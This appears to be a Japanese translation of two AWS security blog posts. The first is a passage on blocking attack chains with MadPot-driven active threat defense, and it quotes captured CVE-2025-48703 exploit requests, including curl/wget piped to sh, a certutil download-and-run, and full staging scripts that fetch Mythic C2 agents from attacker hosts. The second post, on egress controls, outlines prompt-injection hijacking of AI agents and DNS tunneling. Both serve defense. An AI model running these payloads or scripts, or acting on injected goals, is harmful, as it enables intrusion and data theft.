監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 6 月 22 日に公開された AWS Blog “ Prevent data exfiltration: AWS egress controls for cloud workloads ” を翻訳したものです。 2026 年 8 月 4 日 : 「データ境界」セクションを更新しました。 Amazon Web Services (AWS) 環境のセキュリティを確保する際、チームが当然のように優先するのは、インバウンド制御、ファイアウォール、ウェブアプリケーションファイアウォール (WAF)、アクセスポリシーです。最も目につきやすい脅威がそこから発生するためです。一方、アウトバウンドトラフィックは注目されにくい傾向があります。アプリケーションの依存関係に支障をきたさないよう、またリスクがそれほど差し迫っていないように感じられることから、デフォルトで開放されたままになっているケースも少なくありません。しかし、エグレス (アウトバウンド方向の通信) を見落とすと、重要な防御レイヤーが欠けることになります。ネットワークから何が出ていくのかを把握できなければ、設定ミスのあるサービス、過度に広範な権限、不正アクセスを受けたワークロードなど、原因が何であれ、意図しないデータフローを検出するのは難しくなります。 実際のインシデントを見ると、従来のクラウドワークロードと新たな AI 駆動型アーキテクチャの両方で、エグレス制御に注意を払うべき理由がよくわかります。 従来のクラウド環境では、アプリケーションレベルのセキュリティ問題が依然として根強い脅威となっています。例えば、 CVE-2025-55182 (React2Shell) が 2025 年 12 月に公開された際には、複数の組織的なグループが数時間以内に悪用を試み始め、パッチ未適用の React Server Components を標的としてリモートコード実行を狙いました。権限のない第三者はワークロードにアクセスすると、通常、アウトバウンドのコマンドアンドコントロールチャネルを確立し、データを外部に持ち出し始めます。エグレス制御が導入されていなければ、こうしたアウトバウンドトラフィックは制限なく流れ、コンプライアンス監査や顧客からの苦情、インシデント通知をきっかけに発覚するまで、不正アクセスに気付かない可能性があります。 エージェンティック AI システムは、このリスクに新たな側面をもたらします。 OWASP Top 10 for Agentic Applications では、Agent Goal Hijack (エージェントの目標の乗っ取り、ASI01) や Unexpected Code Execution (想定外のコード実行、ASI05) などの脅威が挙げられています。前者は、権限のない第三者が自律型エージェントの目的を操作し、密かにデータを流出させる脅威です。後者は、不正アクセスを受けたエージェントが潜在的に有害なコードを生成、実行し、リバースシェルを確立したり、機密データを外部のエンドポイントに転送したりする脅威です。組織がツール、API、コードインタープリターにアクセスできる AI エージェントをデプロイするようになるにつれ、こうしたエージェントは価値の高い標的になります。そのため、エージェントのアウトバウンドのネットワークアクティビティも、他のワークロードと同等の厳格さで制限する必要があります。 どちらのシナリオにも共通するのは、不正なアウトバウンドトラフィックです。この記事では、送信元が不正アクセスを受けたアプリケーションでも、操作された AI エージェントでも、不正なデータ転送のリスクを低減できるよう、複数の AWS のサービスを連携させて、エグレスの検出と保護を多層的に実装する方法を紹介します。 アーキテクチャの概要 図 1: ハブアンドスポーク型のエグレス制御アーキテクチャ 図 1 に示すアーキテクチャは、マルチアカウントの AWS 環境でハブアンドスポーク型のネットワークパターンを実装するアプローチの一例です。組織の要件や制約によっては、別の設計が適している場合もある点に注意してください。 アプリケーションワークロードは スポーク VPC (Virtual Private Cloud) に配置され、これらの VPC は AWS Transit Gateway に接続されます。Transit Gateway は、VPC 間のトラフィックとインターネット向けトラフィックをルーティングする中央ハブとして機能し、慎重に設計されたルートテーブルによってネットワークのセグメンテーションを適用します。スポーク VPC は、AWS のサービスへの安全なアクセスに VPC エンドポイント を使用し、可能な限りトラフィックを AWS ネットワーク内にとどめます。VPC エンドポイントポリシーは主要なデータ境界の制御として適用され、AWS のサービスにアクセスできるプリンシパルと、これらのエンドポイント経由でアクセスできるリソースを制限します。 インターネット向けトラフィックは、 Transit Gateway にアタッチされた AWS Network Firewall を経由してルーティングされます。Network Firewall は、アウトバウンドのフローがインターネットに到達する前に検査し、フィルタリングします。この一元的なルーティングモデルは、検査インフラストラクチャを変更せずにスポーク VPC を追加するだけで水平方向にスケールできるため、複数の AWS アカウントを持つ組織に適しています。 重要な点として、Route 53 VPC Resolver を通じて名前解決される DNS クエリをフィルタリングするには、 Amazon Route 53 Resolver DNS Firewall を各 VPC にデプロイする必要があります。なお、他の DNS リゾルバーに直接送信される DNS クエリは DNS Firewall を経由しませんが、AWS Network Firewall でフィルタリングできます。DNS Firewall は、マネージドドメインリストとカスタムドメインリストの両方を使用して DNS クエリをフィルタリングし、ネットワーク接続が確立される前に、既知の不正なドメインの名前解決をブロックします。 データ境界の制御は複数のレイヤーで適用されます。具体的には、 サービスコントロールポリシー (SCP) と リソースコントロールポリシー (RCP) を AWS Organizations レベルで、VPC エンドポイントポリシーをネットワークレベルで、リソースポリシーを個々のサービスで使用します。 AWS IAM Access Analyzer は組織レベルでデプロイされ、パブリックにアクセス可能なリソースや外部と共有されているリソースを継続的に検出します。 検出レイヤーは Amazon GuardDuty 、 AWS Security Hub 、IAM Access Analyzer で構成され、継続的なモニタリングと脅威検出を担います。検出結果は、 Amazon EventBridge を使用した統合レイヤーを通じてルーティングされます。この統合レイヤーは、 AWS Lambda ベースの自動修復をトリガーし、 Amazon Simple Notification Service (Amazon SNS) を使用して通知を送信します。また、この統合レイヤーはネットワーク制御とも連携し、検出された脅威に基づいて Network Firewall の拒否ルールを自動的に更新 し、 DNS Firewall のブロックリスト も更新します。 一元的なオブザーバビリティは、 Amazon CloudWatch Logs と CloudWatch ダッシュボード によって実現されます。Network Firewall のフローログとアラートログは一元的に収集され、インシデントの調査やコンプライアンスレポートの作成に役立ちます。 このアーキテクチャは、従来のアプリケーションワークロードにも AI 駆動型ワークロードにも同様に適用できます。例えば、 Amazon Bedrock で実行される AI エージェントは、通常、スポーク VPC 内に配置されます。このエージェントが外部 API を呼び出したり、インターネットへのアクセスを試みたりすると、そのトラフィックは Amazon Elastic Compute Cloud (Amazon EC2) やコンテナのワークロードと同じく、Transit Gateway と Network Firewall を経由する経路をたどります。エージェント専用の特別な出口が用意されているわけではなく、同じドメイン許可リスト、同じ DNS フィルタリング、同じデータ境界ポリシーが適用されます。 とはいえ、エージェントは通常の動作の一環として外部ツールやサードパーティーの API を呼び出すためにアウトバウンドアクセスを必要とすることが多く、許可リストの設計にはより細やかな配慮が必要です。広範なカテゴリ単位で開放するのではなく、許可するドメインを、エージェントが正当に必要とする特定のエンドポイントに厳密に絞り込むことをお勧めします。さらに、これらのネットワークレイヤーの制御を Amazon Bedrock Guardrails (有害なコンテンツのフィルタリングや、ネットワークレイヤーに到達する前のプロンプト攻撃の検出が可能) などのアプリケーションレイヤーのガードレールで補完することで、防御レイヤーを追加できます。 予防的コントロール 次の予防的コントロールは、データ流出を未然に防ぎます。トラフィックを能動的に遮断するため、潜在的に有害であることが確認されている、またはその可能性が高いアクティビティに限定して適用してください。 AWS Network Firewall 次のシナリオを考えてみましょう。権限のない第三者がスポーク VPC の 1 つにある EC2 インスタンスを侵害し、機密データを外部サーバーに流出させようとします。続いて、エージェンティック AI のシナリオも考えてみます。権限のない第三者がプロンプトインジェクションを使用して AI エージェントの目標を乗っ取り (OWASP ASI01)、トレーニングデータを外部のエンドポイントに流出させるよう仕向けます。いずれの場合も、不正な宛先は承認済みのドメイン許可リストに含まれていないため、Network Firewall はこうした試みをブロックするように設計されています。不正アクセスを受けた EC2 インスタンスからのデータ流出を阻止するのと同じ制御で、操作された AI エージェントからのデータ流出も阻止できます。 エグレスを一元的に検査しない場合、そのトラフィックは NAT ゲートウェイ を経由してインターネットに直接流れます。Network Firewall は、レイヤー 3～7 にわたる一元的なディープパケットインスペクションと高度な脅威インテリジェンス機能を提供することで、これを防止します。具体的には、IP アドレス、ポート、プロトコルによるフィルタリングに加え、Suricata 互換ルールを使用したパケット内容の検査が可能です。 このアーキテクチャでは、Transit Gateway が複数のスポーク VPC からのインターネット向けトラフィックを、一元的な検査のために Network Firewall へ集約します。ファイアウォールエンドポイントは 0.0.0.0/0 ルートのターゲットとなり、アウトバウンドのインターネットトラフィックは、アドレス変換を行う NAT ゲートウェイ に到達する前に検査されます。どちらのシナリオでも、Network Firewall はデータが環境外に出る前に、ネットワークレイヤーで流出の試みをブロックします。主な機能は次のとおりです。 ドメイン名フィルタリング: 不正な宛先へのトラフィックをブロック (コマンドアンドコントロールサーバーの *.untrusted-domain.com など) IP とポートのルール: アプリケーションが本当に必要とする外部 IP について明示的な許可リストを定義し、それ以外をすべてブロック ドメインカテゴリフィルタリング: ワークロードが決して通信すべきでないドメインのカテゴリ全体をブロック IDS と IPS: Suricata 互換ルールを使用して、アウトバウンドトラフィック内の既知の攻撃パターンを検出してブロック ポートとプロトコルの強制: 想定されるプロトコルのみが指定されたポートを使用するようにし (例えば、TCP ポート 443 では HTTPS のみ)、プロトコルトンネリングを防止 地理的 IP フィルタリング: 組織が取引関係を持たない地域へのアウトバウンドトラフィックをブロック TLS 復号: 暗号化されたトラフィックを検査し、HTTPS 接続内に隠された流出の試みを検出 脅威インテリジェンスの統合: マネージド型の脅威インテリジェンスフィード (Amazon の脅威インテリジェンスシステム MadPot を使用するアクティブな脅威防御など) やカスタム Suricata ルールを使用して、想定外のパターンを検出 自動スケーリング: アベイラビリティーゾーンあたり最大 100 Gbps を処理 マルチアカウント環境では、 AWS Firewall Manager を使用して組織のアカウント全体に Network Firewall を一元的にデプロイ、管理できるため、すべての環境で一貫したエグレスルールを維持しやすくなります。さらに、 AWS Network Firewall Proxy (プレビュー) は、アウトバウンドのウェブトラフィックに対してアプリケーションレイヤーの検査を必要とするワークロード向けに、URL パスや HTTP メソッドレベルの制御を含むきめ細かな HTTP/HTTPS フィルタリングを備えた明示的プロキシ機能を提供します。 訳注: 明示的プロキシは 2026 年 8 月に AWS Network Firewall の機能として再導入され、2026 年 10 月時点では米国東部 (オハイオ) リージョンでパブリックプレビュー中です。参照: [Preview Announcement] Re-introducing Forward Proxy as AWS Network Firewall Functionality Route 53 Resolver DNS Firewall Route 53 VPC Resolver を通じて行われる DNS クエリは、Network Firewall やサードパーティーのファイアウォールが検査するアウトバウンドのネットワーク経路を通過しません。権限のない第三者はこれを悪用し、外部サーバーへの DNS クエリ内に機密データをエンコードして持ち出すことができます。これは DNS トンネリングと呼ばれる手法です。このリスクはエージェンティック AI のワークロードにも及びます。コード実行機能を持つエージェント (OWASP ASI05) がだまされて、機密データ (顧客レコード、モデルの重み、API キーなど) を、外部の第三者が制御するネームサーバー宛ての DNS クエリにエンコードするスクリプトを実行してしまう可能性があります。DNS Firewall は、接続が確立される前にリゾルバーレベルでフィルタリングを行うため、クエリの発生元が従来のワークロードでも AI エージェントでも、これらのクエリをブロックできるように設計されています。 DNS トラフィックは通常の運用に不可欠である一方、セキュリティアーキテクチャでは見落とされがちなため、不正なデータ流出によく使われるチャネルとなっています。Route 53 Resolver DNS Firewall は、VPC からのアウトバウンド DNS クエリをフィルタリングし、必要に応じてブロックすることで、このギャップを解消します。主な機能は次のとおりです。 不正なドメインのブロック: AWS は、マルウェア、ランサムウェア、ボットネット、スパイウェア、DNS トンネリングを対象とする Aggregate Threat List を含むマネージドドメインリストを提供 許可リストの適用: 承認済みドメインへのクエリのみを許可し、それ以外をすべてブロック DNS Firewall Advanced の機能: AI と機械学習 (AI/ML) による、DNS トンネリング、ドメイン生成アルゴリズム (DGA)、辞書型 DGA の検出 設定は簡単です。ドメイン一致リストとアクション (ブロック、許可、アラート) を含むルールグループを作成し、VPC に関連付けます。DNS リゾルバーは、VPC 内のインスタンスから Route 53 Resolver を通じて行われるすべての DNS クエリにこれらのルールを適用します。これにより、権限のない第三者が DNS トンネリングを使用してデータを流出させることを防止できます。DNS トンネリングは、エグレス VPC のファイアウォールによる検査を完全に回避してしまう手法です。 DNS を利用した流出に関連するリスクと DNS Firewall Advanced の機能の詳細については、「 Protect against advanced DNS threats with Amazon Route 53 Resolver DNS Firewall 」を参照してください。 データ境界 データ境界とは、信頼できるアイデンティティのみが、想定されるネットワークから信頼できるリソースにアクセスできるようにする一連の予防的ガードレールです。前述の制御が環境外に向かうネットワーク経路を保護するのに対し、データ境界は API レベルの経路を保護します。これにより、権限のない第三者が有効な認証情報を入手した場合でも、AWS のサービスの API を使って組織外のリソースにデータを移動することを防ぐのに役立ちます。 この包括的なアプローチでは、AWS が提供する次の 3 つの主要機能を組み合わせて使用します。 SCP : アイデンティティが実行できる操作を制限する、組織全体の予防的コントロールです。エグレス保護の観点では、SCP を使用して、ユーザーがエグレス制御を回避するリソースを作成することを防止できます (例えば、DNS Firewall が関連付けられていない VPC の作成を防止したり、別のアウトバウンド経路を確立できるサービスの使用をブロックしたりできます)。 RCP : リソースへの API アクセスを制限する制御です。RCP は直接的なエグレス制御ではありませんが、補完的なレイヤーとして機能します。例えば、組織外から Amazon Simple Storage Service (Amazon S3) バケットへのアクセスの試みを、リソースレベルでブロックできます。 VPC エンドポイントポリシー : VPC エンドポイントを使用すると、トラフィックがインターネットを経由することなく、AWS のサービスとプライベートに通信できます。VPC エンドポイントポリシーは、リソースベースの AWS Identity and Access Management (IAM) ポリシーであり、そのエンドポイントを通じてアクセスできる対象を制御します。データ境界がエグレス制御として最も直接的に機能するのは、この部分です。 さまざまな AWS のサービスに対応する VPC エンドポイントポリシーの例は、こちらの リポジトリ で確認できます。データ境界ポリシーは新たな権限を付与するものではなく、ガードレールを設けることでアクセスできる範囲を絞り込む、2 つ目の認可レイヤーとして機能します。IAM 条件キー aws:PrincipalOrgID 、 aws:ResourceOrgID 、 aws:SourceVpc 、 aws:SourceVpce 